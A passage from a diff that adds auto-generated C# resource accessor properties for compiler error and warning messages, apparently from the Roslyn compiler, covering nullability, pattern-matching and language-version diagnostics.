GetResourceString("ERR_TupleElementNamesInDeconstruction"); + + internal static string ERR_PossibleBadNegCast => GetResourceString("ERR_PossibleBadNegCast"); + + internal static string ERR_ExpressionTreeContainsThrowExpression => GetResourceString("ERR_ExpressionTreeContainsThrowExpression"); + + internal static string ERR_ExpressionTreeContainsWithExpression => GetResourceString("ERR_ExpressionTreeContainsWithExpression"); + + internal static string ERR_BadAssemblyName => GetResourceString("ERR_BadAssemblyName"); + + internal static string ERR_BadAsyncMethodBuilderTaskProperty => GetResourceString("ERR_BadAsyncMethodBuilderTaskProperty"); + + internal static string ERR_TypeForwardedToMultipleAssemblies => GetResourceString("ERR_TypeForwardedToMultipleAssemblies"); + + internal static string ERR_PatternDynamicType => GetResourceString("ERR_PatternDynamicType"); + + internal static string ERR_BadDocumentationMode => GetResourceString("ERR_BadDocumentationMode"); + + internal static string ERR_BadSourceCodeKind => GetResourceString("ERR_BadSourceCodeKind"); + + internal static string ERR_BadLanguageVersion => GetResourceString("ERR_BadLanguageVersion"); + + internal static string ERR_InvalidPreprocessingSymbol => GetResourceString("ERR_InvalidPreprocessingSymbol"); + + internal static string ERR_FeatureNotAvailableInVersion7_1 => GetResourceString("ERR_FeatureNotAvailableInVersion7_1"); + + internal static string ERR_FeatureNotAvailableInVersion7_2 => GetResourceString("ERR_FeatureNotAvailableInVersion7_2"); + + internal static string ERR_FeatureNotAvailableInVersion7_3 => GetResourceString("ERR_FeatureNotAvailableInVersion7_3"); + + internal static string ERR_FeatureNotAvailableInVersion8 => GetResourceString("ERR_FeatureNotAvailableInVersion8"); + + internal static string ERR_LanguageVersionCannotHaveLeadingZeroes => GetResourceString("ERR_LanguageVersionCannotHaveLeadingZeroes"); + + internal static string ERR_VoidAssignment => GetResourceString("ERR_VoidAssignment"); + + internal static string WRN_WindowsExperimental => GetResourceString("WRN_WindowsExperimental"); + + internal static string WRN_WindowsExperimental_Title => GetResourceString("WRN_WindowsExperimental_Title"); + + internal static string WRN_Experimental => GetResourceString("WRN_Experimental"); + + internal static string WRN_Experimental_Title => GetResourceString("WRN_Experimental_Title"); + + internal static string ERR_CompilerAndLanguageVersion => GetResourceString("ERR_CompilerAndLanguageVersion"); + + internal static string IDS_FeatureAsyncMain => GetResourceString("IDS_FeatureAsyncMain"); + + internal static string ERR_TupleInferredNamesNotAvailable => GetResourceString("ERR_TupleInferredNamesNotAvailable"); + + internal static string ERR_AltInterpolatedVerbatimStringsNotAvailable => GetResourceString("ERR_AltInterpolatedVerbatimStringsNotAvailable"); + + internal static string WRN_AttributesOnBackingFieldsNotAvailable => GetResourceString("WRN_AttributesOnBackingFieldsNotAvailable"); + + internal static string WRN_AttributesOnBackingFieldsNotAvailable_Title => GetResourceString("WRN_AttributesOnBackingFieldsNotAvailable_Title"); + + internal static string ERR_VoidInTuple => GetResourceString("ERR_VoidInTuple"); + + internal static string IDS_FeatureNullableReferenceTypes => GetResourceString("IDS_FeatureNullableReferenceTypes"); + + internal static string IDS_FeaturePragmaWarningEnable => GetResourceString("IDS_FeaturePragmaWarningEnable"); + + internal static string WRN_ConvertingNullableToNonNullable => GetResourceString("WRN_ConvertingNullableToNonNullable"); + + internal static string WRN_ConvertingNullableToNonNullable_Title => GetResourceString("WRN_ConvertingNullableToNonNullable_Title"); + + internal static string WRN_NullReferenceAssignment => GetResourceString("WRN_NullReferenceAssignment"); + + internal static string WRN_NullReferenceAssignment_Title => GetResourceString("WRN_NullReferenceAssignment_Title"); + + internal static string WRN_NullReferenceReceiver => GetResourceString("WRN_NullReferenceReceiver"); + + internal static string WRN_NullReferenceReceiver_Title => GetResourceString("WRN_NullReferenceReceiver_Title"); + + internal static string WRN_NullReferenceReturn => GetResourceString("WRN_NullReferenceReturn"); + + internal static string WRN_NullReferenceReturn_Title => GetResourceString("WRN_NullReferenceReturn_Title"); + + internal static string WRN_NullReferenceArgument => GetResourceString("WRN_NullReferenceArgument"); + + internal static string WRN_NullReferenceArgument_Title => GetResourceString("WRN_NullReferenceArgument_Title"); + + internal static string WRN_ThrowPossibleNull => GetResourceString("WRN_ThrowPossibleNull"); + + internal static string WRN_ThrowPossibleNull_Title => GetResourceString("WRN_ThrowPossibleNull_Title"); + + internal static string WRN_UnboxPossibleNull => GetResourceString("WRN_UnboxPossibleNull"); + + internal static string WRN_UnboxPossibleNull_Title => GetResourceString("WRN_UnboxPossibleNull_Title"); + + internal static string WRN_NullabilityMismatchInTypeOnOverride => GetResourceString("WRN_NullabilityMismatchInTypeOnOverride"); + + internal static string WRN_NullabilityMismatchInTypeOnOverride_Title => GetResourceString("WRN_NullabilityMismatchInTypeOnOverride_Title"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnOverride => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnOverride"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnOverride_Title => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnOverride_Title"); + + internal static string WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride => GetResourceString("WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride"); + + internal static string WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride_Title => GetResourceString("WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride_Title"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnOverride => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnOverride"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnOverride_Title => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnOverride_Title"); + + internal static string WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride => GetResourceString("WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride"); + + internal static string WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride_Title => GetResourceString("WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride_Title"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnPartial => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnPartial"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnPartial_Title => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnPartial_Title"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnPartial => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnPartial"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnPartial_Title => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnPartial_Title"); + + internal static string WRN_NullabilityMismatchInTypeOnImplicitImplementation => GetResourceString("WRN_NullabilityMismatchInTypeOnImplicitImplementation"); + + internal static string WRN_NullabilityMismatchInTypeOnImplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInTypeOnImplicitImplementation_Title"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation_Title"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation_Title"); + + internal static string WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation => GetResourceString("WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation"); + + internal static string WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation_Title => GetResourceString("WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation_Title"); + + internal static string WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation => GetResourceString("WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation"); + + internal static string WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation_Title => GetResourceString("WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation_Title"); + + internal static string WRN_NullabilityMismatchInTypeOnExplicitImplementation => GetResourceString("WRN_NullabilityMismatchInTypeOnExplicitImplementation"); + + internal static string WRN_NullabilityMismatchInTypeOnExplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInTypeOnExplicitImplementation_Title"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation"); + + internal static string WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation_Title"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation"); + + internal static string WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation_Title"); + + internal static string WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation => GetResourceString("WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation"); + + internal static string WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation_Title => GetResourceString("WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation_Title"); + + internal static string WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation => GetResourceString("WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation"); + + internal static string WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation_Title => GetResourceString("WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation_Title"); + + internal static string WRN_UninitializedNonNullableField => GetResourceString("WRN_UninitializedNonNullableField"); + + internal static string WRN_UninitializedNonNullableField_Title => GetResourceString("WRN_UninitializedNonNullableField_Title"); + + internal static string WRN_NullabilityMismatchInAssignment => GetResourceString("WRN_NullabilityMismatchInAssignment"); + + internal static string WRN_NullabilityMismatchInAssignment_Title => GetResourceString("WRN_NullabilityMismatchInAssignment_Title"); + + internal static string WRN_ImplicitCopyInReadOnlyMember => GetResourceString("WRN_ImplicitCopyInReadOnlyMember"); + + internal static string WRN_ImplicitCopyInReadOnlyMember_Title => GetResourceString("WRN_ImplicitCopyInReadOnlyMember_Title"); + + internal static string ERR_StaticMemberCantBeReadOnly => GetResourceString("ERR_StaticMemberCantBeReadOnly"); + + internal static string ERR_AutoSetterCantBeReadOnly => GetResourceString("ERR_AutoSetterCantBeReadOnly"); + + internal static string ERR_AutoPropertyWithSetterCantBeReadOnly => GetResourceString("ERR_AutoPropertyWithSetterCantBeReadOnly"); + + internal static string ERR_InvalidPropertyReadOnlyMods => GetResourceString("ERR_InvalidPropertyReadOnlyMods"); + + internal static string ERR_DuplicatePropertyReadOnlyMods => GetResourceString("ERR_DuplicatePropertyReadOnlyMods"); + + internal static string ERR_FieldLikeEventCantBeReadOnly => GetResourceString("ERR_FieldLikeEventCantBeReadOnly"); + + internal static string ERR_PartialMethodReadOnlyDifference => GetResourceString("ERR_PartialMethodReadOnlyDifference"); + + internal static string ERR_ReadOnlyModMissingAccessor => GetResourceString("ERR_ReadOnlyModMissingAccessor"); + + internal static string WRN_NullabilityMismatchInArgument => GetResourceString("WRN_NullabilityMismatchInArgument"); + + internal static string WRN_NullabilityMismatchInArgument_Title => GetResourceString("WRN_NullabilityMismatchInArgument_Title"); + + internal static string WRN_NullabilityMismatchInArgumentForOutput => GetResourceString("WRN_NullabilityMismatchInArgumentForOutput"); + + internal static string WRN_NullabilityMismatchInArgumentForOutput_Title => GetResourceString("WRN_NullabilityMismatchInArgumentForOutput_Title"); + + internal static string WRN_DisallowNullAttributeForbidsMaybeNullAssignment => GetResourceString("WRN_DisallowNullAttributeForbidsMaybeNullAssignment"); + + internal static string WRN_DisallowNullAttributeForbidsMaybeNullAssignment_Title => GetResourceString("WRN_DisallowNullAttributeForbidsMaybeNullAssignment_Title"); + + internal static string WRN_ParameterConditionallyDisallowsNull => GetResourceString("WRN_ParameterConditionallyDisallowsNull"); + + internal static string WRN_ParameterConditionallyDisallowsNull_Title => GetResourceString("WRN_ParameterConditionallyDisallowsNull_Title"); + + internal static string WRN_ParameterDisallowsNull => GetResourceString("WRN_ParameterDisallowsNull"); + + internal static string WRN_ParameterDisallowsNull_Title => GetResourceString("WRN_ParameterDisallowsNull_Title"); + + internal static string WRN_ParameterNotNullIfNotNull => GetResourceString("WRN_ParameterNotNullIfNotNull"); + + internal static string WRN_ParameterNotNullIfNotNull_Title => GetResourceString("WRN_ParameterNotNullIfNotNull_Title"); + + internal static string WRN_ReturnNotNullIfNotNull => GetResourceString("WRN_ReturnNotNullIfNotNull"); + + internal static string WRN_ReturnNotNullIfNotNull_Title => GetResourceString("WRN_ReturnNotNullIfNotNull_Title"); + + internal static string WRN_MemberNotNull => GetResourceString("WRN_MemberNotNull"); + + internal static string WRN_MemberNotNull_Title => GetResourceString("WRN_MemberNotNull_Title"); + + internal static string WRN_MemberNotNullBadMember => GetResourceString("WRN_MemberNotNullBadMember"); + + internal static string WRN_MemberNotNullBadMember_Title => GetResourceString("WRN_MemberNotNullBadMember_Title"); + + internal static string WRN_MemberNotNullWhen => GetResourceString("WRN_MemberNotNullWhen"); + + internal static string WRN_MemberNotNullWhen_Title => GetResourceString("WRN_MemberNotNullWhen_Title"); + + internal static string WRN_ShouldNotReturn => GetResourceString("WRN_ShouldNotReturn"); + + internal static string WRN_ShouldNotReturn_Title => GetResourceString("WRN_ShouldNotReturn_Title"); + + internal static string WRN_DoesNotReturnMismatch => GetResourceString("WRN_DoesNotReturnMismatch"); + + internal static string WRN_DoesNotReturnMismatch_Title => GetResourceString("WRN_DoesNotReturnMismatch_Title"); + + internal static string WRN_NullabilityMismatchInReturnTypeOfTargetDelegate => GetResourceString("WRN_NullabilityMismatchInReturnTypeOfTargetDelegate"); + + internal static string WRN_NullabilityMismatchInReturnTypeOfTargetDelegate_Title => GetResourceString("WRN_NullabilityMismatchInReturnTypeOfTargetDelegate_Title"); + + internal static string WRN_NullabilityMismatchInParameterTypeOfTargetDelegate => GetResourceString("WRN_NullabilityMismatchInParameterTypeOfTargetDelegate"); + + internal static string WRN_NullabilityMismatchInParameterTypeOfTargetDelegate_Title => GetResourceString("WRN_NullabilityMismatchInParameterTypeOfTargetDelegate_Title"); + + internal static string WRN_NullAsNonNullable => GetResourceString("WRN_NullAsNonNullable"); + + internal static string WRN_NullAsNonNullable_Title => GetResourceString("WRN_NullAsNonNullable_Title"); + + internal static string ERR_AnnotationDisallowedInObjectCreation => GetResourceString("ERR_AnnotationDisallowedInObjectCreation"); + + internal static string WRN_NullableValueTypeMayBeNull => GetResourceString("WRN_NullableValueTypeMayBeNull"); + + internal static string WRN_NullableValueTypeMayBeNull_Title => GetResourceString("WRN_NullableValueTypeMayBeNull_Title"); + + internal static string WRN_NullabilityMismatchInTypeParameterConstraint => GetResourceString("WRN_NullabilityMismatchInTypeParameterConstraint"); + + internal static string WRN_NullabilityMismatchInTypeParameterConstraint_Title => GetResourceString("WRN_NullabilityMismatchInTypeParameterConstraint_Title"); + + internal static string WRN_MissingNonNullTypesContextForAnnotation => GetResourceString("WRN_MissingNonNullTypesContextForAnnotation"); + + internal static string WRN_MissingNonNullTypesContextForAnnotation_Title => GetResourceString("WRN_MissingNonNullTypesContextForAnnotation_Title"); + + internal static string ERR_ExplicitNullableAttribute => GetResourceString("ERR_ExplicitNullableAttribute"); + + internal static string ERR_NullableUnconstrainedTypeParameter => GetResourceString("ERR_NullableUnconstrainedTypeParameter"); + + internal static string ERR_NullableOptionNotAvailable => GetResourceString("ERR_NullableOptionNotAvailable"); + + internal static string ERR_NonTaskMainCantBeAsync => GetResourceString("ERR_NonTaskMainCantBeAsync"); + + internal static string ERR_PatternWrongGenericTypeInVersion => GetResourceString("ERR_PatternWrongGenericTypeInVersion"); + + internal static string WRN_UnreferencedLocalFunction => GetResourceString("WRN_UnreferencedLocalFunction"); + + internal static string WRN_UnreferencedLocalFunction_Title => GetResourceString("WRN_UnreferencedLocalFunction_Title"); + + internal static string ERR_LocalFunctionMissingBody => GetResourceString("ERR_LocalFunctionMissingBody"); + + internal static string ERR_InvalidDebugInfo => GetResourceString("ERR_InvalidDebugInfo"); + + internal static string IConversionExpressionIsNotCSharpConversion => GetResourceString("IConversionExpressionIsNotCSharpConversion"); + + internal static string ERR_DynamicLocalFunctionTypeParameter => GetResourceString("ERR_DynamicLocalFunctionTypeParameter"); + + internal static string IDS_FeatureLeadingDigitSeparator => GetResourceString("IDS_FeatureLeadingDigitSeparator"); + + internal static string ERR_ExplicitReservedAttr => GetResourceString("ERR_ExplicitReservedAttr"); + + internal static string ERR_TypeReserved => GetResourceString("ERR_TypeReserved"); + + internal static string ERR_InExtensionMustBeValueType => GetResourceString("ERR_InExtensionMustBeValueType"); + + internal static string ERR_FieldsInRoStruct => GetResourceString("ERR_FieldsInRoStruct"); + + internal static string ERR_AutoPropsInRoStruct => GetResourceString("ERR_AutoPropsInRoStruct"); + + internal static string ERR_FieldlikeEventsInRoStruct => GetResourceString("ERR_FieldlikeEventsInRoStruct"); + + internal static string IDS_FeatureRefExtensionMethods => GetResourceString("IDS_FeatureRefExtensionMethods"); + + internal static string ERR_StackAllocConversionNotPossible => GetResourceString("ERR_StackAllocConversionNotPossible"); + + internal static string ERR_RefExtensionMustBeValueTypeOrConstrainedToOne => GetResourceString("ERR_RefExtensionMustBeValueTypeOrConstrainedToOne"); + + internal static string ERR_OutAttrOnInParam => GetResourceString("ERR_OutAttrOnInParam"); + + internal static string ERR_OutAttrOnRefReadonlyParam => GetResourceString("ERR_OutAttrOnRefReadonlyParam"); + + internal static string ICompoundAssignmentOperationIsNotCSharpCompoundAssignment => GetResourceString("ICompoundAssignmentOperationIsNotCSharpCompoundAssignment"); + + internal static string WRN_FilterIsConstantFalse => GetResourceString("WRN_FilterIsConstantFalse"); + + internal static string WRN_FilterIsConstantFalse_Title => GetResourceString("WRN_FilterIsConstantFalse_Title"); + + internal static string WRN_FilterIsConstantFalseRedundantTryCatch => GetResourceString("WRN_FilterIsConstantFalseRedundantTryCatch"); + + internal static string WRN_FilterIsConstantFalseRedundantTryCatch_Title => GetResourceString("WRN_FilterIsConstantFalseRedundantTryCatch_Title"); + + internal static string ERR_ConditionalInInterpolation => GetResourceString("ERR_ConditionalInInterpolation"); + + internal static string ERR_InDynamicMethodArg => GetResourceString("ERR_InDynamicMethodArg"); + + internal static string ERR_TupleSizesMismatchForBinOps => GetResourceString("ERR_TupleSizesMismatchForBinOps"); + + internal static string ERR_RefLocalOrParamExpected => GetResourceString("ERR_RefLocalOrParamExpected"); + + internal static string ERR_RefAssignNarrower => GetResourceString("ERR_RefAssignNarrower"); + + internal static string ERR_RefAssignReturnOnly => GetResourceString("ERR_RefAssignReturnOnly"); + + internal static string WRN_RefAssignReturnOnly => GetResourceString("WRN_RefAssignReturnOnly"); + + internal static string WRN_RefAssignReturnOnly_Title => GetResourceString("WRN_RefAssignReturnOnly_Title"); + + internal static string WRN_RefAssignNarrower => GetResourceString("WRN_RefAssignNarrower"); + + internal static string WRN_RefAssignNarrower_Title => GetResourceString("WRN_RefAssignNarrower_Title"); + + internal static string ERR_RefAssignValEscapeWider => GetResourceString("ERR_RefAssignValEscapeWider"); + + internal static string WRN_RefAssignValEscapeWider => GetResourceString("WRN_RefAssignValEscapeWider"); + + internal static string WRN_RefAssignValEscapeWider_Title => GetResourceString("WRN_RefAssignValEscapeWider_Title"); + + internal static string IDS_FeatureEnumGenericTypeConstraint => GetResourceString("IDS_FeatureEnumGenericTypeConstraint"); + + internal static string IDS_FeatureDelegateGenericTypeConstraint => GetResourceString("IDS_FeatureDelegateGenericTypeConstraint"); + + internal static string IDS_FeatureUnmanagedGenericTypeConstraint => GetResourceString("IDS_FeatureUnmanagedGenericTypeConstraint"); + + internal static string ERR_NewBoundWithUnmanaged => GetResourceString("ERR_NewBoundWithUnmanaged"); + + internal static string ERR_UnmanagedConstraintNotSatisfied => GetResourceString("ERR_UnmanagedConstraintNotSatisfied"); + + internal static string ERR_ConWithUnmanagedCon => GetResourceString("ERR_ConWithUnmanagedCon"); + + internal static string IDS_FeatureStackAllocInitializer => GetResourceString("IDS_FeatureStackAllocInitializer"); + + internal static string ERR_InvalidStackAllocArray => GetResourceString("ERR_InvalidStackAllocArray"); + + internal static string IDS_FeatureExpressionVariablesInQueriesAndInitializers => GetResourceString("IDS_FeatureExpressionVariablesInQueriesAndInitializers"); + + internal static string ERR_MissingPattern => GetResourceString("ERR_MissingPattern"); + + internal static string IDS_FeatureRecursivePatterns => GetResourceString("IDS_FeatureRecursivePatterns"); + + internal static string IDS_FeatureNullPointerConstantPattern => GetResourceString("IDS_FeatureNullPointerConstantPattern"); + + internal static string IDS_FeatureDefaultTypeParameterConstraint => GetResourceString("IDS_FeatureDefaultTypeParameterConstraint"); + + internal static string ERR_WrongNumberOfSubpatterns => GetResourceString("ERR_WrongNumberOfSubpatterns"); + + internal static string ERR_PropertyPatternNameMissing => GetResourceString("ERR_PropertyPatternNameMissing"); + + internal static string ERR_DefaultPattern => GetResourceString("ERR_DefaultPattern"); + + internal static string ERR_SwitchExpressionNoBestType => GetResourceString("ERR_SwitchExpressionNoBestType"); + + internal static string ERR_DefaultLiteralNoTargetType => GetResourceString("ERR_DefaultLiteralNoTargetType"); + + internal static string ERR_CannotInferDelegateType => GetResourceString("ERR_CannotInferDelegateType"); + + internal static string ERR_LambdaExplicitReturnTypeVar => GetResourceString("ERR_LambdaExplicitReturnTypeVar"); + + internal static string ERR_SingleElementPositionalPatternRequiresDisambiguation => GetResourceString("ERR_SingleElementPositionalPatternRequiresDisambiguation"); + + internal static string ERR_VarMayNotBindToType => GetResourceString("ERR_VarMayNotBindToType"); + + internal static string WRN_SwitchExpressionNotExhaustive => GetResourceString("WRN_SwitchExpressionNotExhaustive"); + + internal static string WRN_SwitchExpressionNotExhaustive_Title => GetResourceString("WRN_SwitchExpressionNotExhaustive_Title"); + + internal static string WRN_SwitchExpressionNotExhaustiveWithWhen => GetResourceString("WRN_SwitchExpressionNotExhaustiveWithWhen"); + + internal static string WRN_SwitchExpressionNotExhaustiveWithWhen_Title => GetResourceString("WRN_SwitchExpressionNotExhaustiveWithWhen_Title"); + + internal static string WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue => GetResourceString("WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue"); + + internal static string WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue_Title => GetResourceString("WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue_Title"); + + internal static string WRN_CaseConstantNamedUnderscore => GetResourceString("WRN_CaseConstantNamedUnderscore"); + + internal static string WRN_CaseConstantNamedUnderscore_Title => GetResourceString("WRN_CaseConstantNamedUnderscore_Title"); + + internal static string WRN_IsTypeNamedUnderscore => GetResourceString("WRN_IsTypeNamedUnderscore"); + + internal static string WRN_IsTypeNamedUnderscore_Title => GetResourceString("WRN_IsTypeNamedUnderscore_Title"); + + internal static string ERR_ExpressionTreeContainsSwitchExpression => GetResourceString("ERR_ExpressionTreeContainsSwitchExpression"); + + internal static string ERR_InvalidObjectCreation => GetResourceString("ERR_InvalidObjectCreation"); + + internal static string IDS_FeatureIndexingMovableFixedBuffers => GetResourceString("IDS_FeatureIndexingMovableFixedBuffers"); + + internal static string ERR_CantUseInOrOutInArglist => GetResourceString("ERR_CantUseInOrOutInArglist"); + + internal static string SyntaxTreeNotFound => GetResourceString("SyntaxTreeNotFound"); + + internal static string ERR_OutVariableCannotBeByRef => GetResourceString("ERR_OutVariableCannotBeByRef"); + + internal static string ERR_MultipleAnalyzerConfigsInSameDir => GetResourceString("ERR_MultipleAnalyzerConfigsInSameDir"); + + internal static string IDS_FeatureCoalesceAssignmentExpression => GetResourceString("IDS_FeatureCoalesceAssignmentExpression"); + + internal static string CannotCreateConstructedFromConstructed => GetResourceString("CannotCreateConstructedFromConstructed"); + + internal static string CannotCreateConstructedFromNongeneric => GetResourceString("CannotCreateConstructedFromNongeneric"); + + internal static string IDS_FeatureUnconstrainedTypeParameterInNullCoalescingOperator => GetResourceString("IDS_FeatureUnconstrainedTypeParameterInNullCoalescingOperator"); + + internal static string WRN_NullabilityMismatchInConstraintsOnImplicitImplementation => GetResourceString("WRN_NullabilityMismatchInConstraintsOnImplicitImplementation"); + + internal static string WRN_NullabilityMismatchInConstraintsOnImplicitImplementation_Title => GetResourceString("WRN_NullabilityMismatchInConstraintsOnImplicitImplementation_Title"); + + internal static string WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint => GetResourceString("WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint"); + + internal static string WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint_Title => GetResourceString("WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint_Title"); + + internal static string ERR_TripleDotNotAllowed => GetResourceString("ERR_TripleDotNotAllowed"); + + internal static string IDS_FeatureIndexOperator => GetResourceString("IDS_FeatureIndexOperator"); + + internal static string IDS_FeatureRangeOperator => GetResourceString("IDS_FeatureRangeOperator"); + + internal static string IDS_FeatureStaticLocalFunctions => GetResourceString("IDS_FeatureStaticLocalFunctions"); + + internal static string IDS_FeatureNameShadowingInNestedFunctions => GetResourceString("IDS_FeatureNameShadowingInNestedFunctions"); + + internal static string IDS_FeatureLambdaDiscardParameters => GetResourceString("IDS_FeatureLambdaDiscardParameters"); + + internal static string IDS_FeatureMemberNotNull => GetResourceString("IDS_FeatureMemberNotNull"); + + internal static string IDS_FeatureNativeInt => GetResourceString("IDS_FeatureNativeInt"); + + internal static string ERR_BadDynamicAwaitForEach => GetResourceString("ERR_BadDynamicAwaitForEach"); + + internal static string ERR_NullableDirectiveQualifierExpected => GetResourceString("ERR_NullableDirectiveQualifierExpected"); + + internal static string ERR_NullableDirectiveTargetExpected => GetResourceString("ERR_NullableDirectiveTargetExpected"); + + internal static string WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode => GetResourceString("WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode"); + + internal static string WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode_Title => GetResourceString("WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode_Title"); + + internal static string WRN_NullReferenceInitializer => GetResourceString("WRN_NullReferenceInitializer"); + + internal static string WRN_NullReferenceInitializer_Title => GetResourceString("WRN_NullReferenceInitializer_Title"); + + internal static string ERR_ExpressionTreeCantContainRefStruct => GetResourceString("ERR_ExpressionTreeCantContainRefStruct"); + + internal static string ERR_ElseCannotStartStatement => GetResourceString("ERR_ElseCannotStartStatement"); + + internal static string ERR_ExpressionTreeCantContainNullCoalescingAssignment => GetResourceString("ERR_ExpressionTreeCantContainNullCoalescingAssignment"); + + internal static string ERR_BadNullableContextOption => GetResourceString("ERR_BadNullableContextOption"); + + internal static string ERR_SwitchGoverningExpressionRequiresParens => GetResourceString("ERR_SwitchGoverningExpressionRequiresParens"); + + internal static string ERR_TupleElementNameMismatch => GetResourceString("ERR_TupleElementNameMismatch"); + + internal static string ERR_DeconstructParameterNameMismatch => GetResourceString("ERR_DeconstructParameterNameMismatch"); + + internal static string ERR_IsPatternImpossible => GetResourceString("ERR_IsPatternImpossible"); + + internal static string WRN_IsPatternAlways => GetResourceString("WRN_IsPatternAlways"); + + internal static string WRN_IsPatternAlways_Title => GetResourceString("WRN_IsPatternAlways_Title"); + + internal static string WRN_GivenExpressionNeverMatchesPattern => GetResourceString("WRN_GivenExpressionNeverMatchesPattern"); + + internal static string WRN_GivenExpressionNeverMatchesPattern_Title => GetResourceString("WRN_GivenExpressionNeverMatchesPattern_Title"); + + internal static string WRN_GivenExpressionAlwaysMatchesConstant => GetResourceString("WRN_GivenExpressionAlwaysMatchesConstant"); + + internal static string WRN_GivenExpressionAlwaysMatchesConstant_Title => GetResourceString("WRN_GivenExpressionAlwaysMatchesConstant_Title"); + + internal static string WRN_GivenExpressionAlwaysMatchesPattern => GetResourceString("WRN_GivenExpressionAlwaysMatchesPattern"); + + internal static string WRN_GivenExpressionAlwaysMatchesPattern_Title => GetResourceString("WRN_GivenExpressionAlwaysMatchesPattern_Title"); + + internal static string ERR_FeatureNotAvailableInVersion8_0 => GetResourceString("ERR_FeatureNotAvailableInVersion8_0"); + + internal static string ERR_PointerTypeInPatternMatching => GetResourceString("ERR_PointerTypeInPatternMatching"); + + internal static string ERR_ArgumentNameInITuplePattern => GetResourceString("ERR_ArgumentNameInITuplePattern"); + + internal static string ERR_DiscardPatternInSwitchStatement => GetResourceString("ERR_DiscardPatternInSwitchStatement"); + + internal static string WRN_NullabilityMismatchInExplicitlyImplementedInterface => GetResourceString("WRN_NullabilityMismatchInExplicitlyImplementedInterface"); + + internal static string WRN_NullabilityMismatchInExplicitlyImplementedInterface_Title => GetResourceString("WRN_NullabilityMismatchInExplicitlyImplementedInterface_Title"); + + internal static string WRN_NullabilityMismatchInInterfaceImplementedByBase => GetResourceString("WRN_NullabilityMismatchInInterfaceImplementedByBase"); + + internal static string WRN_NullabilityMismatchInInterfaceImplementedByBase_Title => GetResourceString("WRN_NullabilityMismatchInInterfaceImplementedByBase_Title"); + + internal static string WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList => GetResourceString("WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList"); + + internal static string WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList_Title => GetResourceString("WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList_Title"); + + internal static string ERR_DuplicateExplicitImpl => GetResourceString("ERR_DuplicateExplicitImpl"); + + internal static string ERR_UsingVarInSwitchCase => GetResourceString("ERR_UsingVarInSwitchCase"); + + internal static string ERR_GoToForwardJumpOverUsingVar 